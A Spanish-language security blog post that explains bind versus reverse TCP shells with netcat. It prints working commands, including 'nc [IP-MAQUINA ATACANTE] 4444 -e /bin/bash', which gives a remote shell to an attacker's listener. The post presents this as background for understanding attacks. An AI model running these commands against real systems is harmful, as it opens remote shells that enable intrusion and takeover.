Tipos de Shell TCP: Netcat Reverse & Bind

· · | Ciberseguridad en Tipos de Shell TCP: Netcat Reverse & Bind

En este post hablaremos sobre la diferencia entre los tipos de Shell TCP (bind y reverse shell con netcat), para ello primero empezaremos con una definición breve de que es una Shell.

Una shell es un programa informático que permite al usuario ejecutar comandos para interactuar con el sistema operativo, entre las shells más conocidas tenemos bash y zsh.

Nosotros podemos interactuar con la shell mediante terminales, como por ejemplo xterm, gnome-terminal, etc. Así mismo, también se puede acceder remotamente a la shell de un sistema operativo, mediante distintos servicios como pueden ser SSH (secure shell) o Telnet, siendo este último no recomendable ya que la información enviada por este medio no se cifra y por ende es propenso a revelar información si es que algún usuario malintencionado intercepta los paquetes.

Cuando nos conectamos remotamente a una shell, tenemos dos posibilidades en lo que respecta a los protocolos de la capa de transporte, TCP y UDP. Entre estos dos se elige TCP, puesto que está orientado a conexión y se verifica que toda la información que se envíe llegue de un punto a otro. Ahora tocaremos más a profundidad los tipos de shell TCP.

Bind Shell

Siendo esta la conexión más común para Shell TCP. El usuario el cual proporciona la shell, espera una conexión en un puerto en específico. Cuando un cliente se conecta a este puerto, se entabla una comunicación, en la cual todo lo que envía el usuario se considera un comando que se inserta en la shell del usuario.

Bind Shell Graph

Para realizar una bind shell usaremos netcat, con los siguientes comandos:

Máquina usuario

nc -lvp 4444 -e /bin/bash

Máquina cliente

nc [IP-MAQUINA USUARIO] 4444

Y podemos ver como se entabla la conexión y se puede enviar comandos del cliente a la maquina usuario y se ejecutan satisfactoriamente.

Demo Bind Shell

Este tipo de shell es viable en una red local, ya que no existe una restricción de que puerto se pueden usar y cuales están cerrados por defecto. Ahora, en el caso de que se comuniquen dos computadores en redes distintas, existe un gran problema puesto que se debería abrir el puerto de la conexión en el Gateway, para que un cliente externo pueda conectarse a la máquina del usuario y entablar la conexión.

Por ejemplo, en el caso hipotético, de que tengamos un servidor web, y queremos obtener una shell en dicho servidor, pero al ser este público, si queremos acceder a una shell TCP, deberíamos permitir que la maquina servidor escuche en un puerto, para que la máquina del atacante pueda entablar una conexión y de esta manera ejecutar comandos. Como explicamos anteriormente, deberíamos abrir un puerto en el Gateway para que la conexión entre máquinas de distintas redes sea posible. Esto desde el lado de un atacante, es complicado. Puesto que el atacante solo tiene acceso al servidor y no a las configuraciones de red.

No Bind Shell

Por ello, la solución es implementar una reverse shell con netcat.

Reverse Shell

Cuando hablamos de una reverse shell, hacemos referencia a un método inverso en comparación a la típica bind shell. En este caso, es el servidor web, quien se conecta a la maquina del atacante (antes referenciada como cliente). Para ello, lo que hacemos es levantar un servicio en la maquina del atacante, en un puerto de escucha. Luego el servidor web se conecta a esta pasándole como referencia la shell del mismo servidor.

Reverse Shell Graph

Los atacantes que realizan una reverse shell, muchas veces hacen uso de los servicios de VPS, en donde pueden tener direcciones IP publicas y configurar las reglas del gateway, para poder establecer la conexión entrante de la víctima y así poder ejecutar comandos en el sistema operativo.

La reverse shell con netcat se puede crear con el siguiente comando:

Máquina del atacante

nc -lvp 4444

Servidor web

nc [IP-MAQUINA ATACANTE] 4444 -e /bin/bash

En este caso, primero se ejecuta el comando en la maquina del atacante, puesto que se debe estar escuchando en un puerto, para que la conexión se realice satisfactoriamente.

Como podemos ver en la siguiente imagen, es la máquina del servidor web quien se conecta a la máquina del atacante entablando una conexión y permitiendo que sea el atacante quien ejecute comandos en la máquina del servidor web.

Demo reverse shell

Conclusión

En conclusión, es muy importante tener en cuenta el concepto de reverse shell, ya que los cibercriminales generan este tipo de comunicaciones con el servidor atacado para moverse con mayor comodidad en la máquina de su víctima y de esta forma comprometer el objetivo en su totalidad.

Existen métodos para obtener reverse shell mucho más elaborados, como por ejemplo a través de transferencias de texto cifrados para que dificulte la detección por parte de un administrador de sistema.

Si no estás muy familiarizado con la ciberseguridad, te recomendamos el artículo Preguntas y respuestas de ciberseguridad – Parte 1.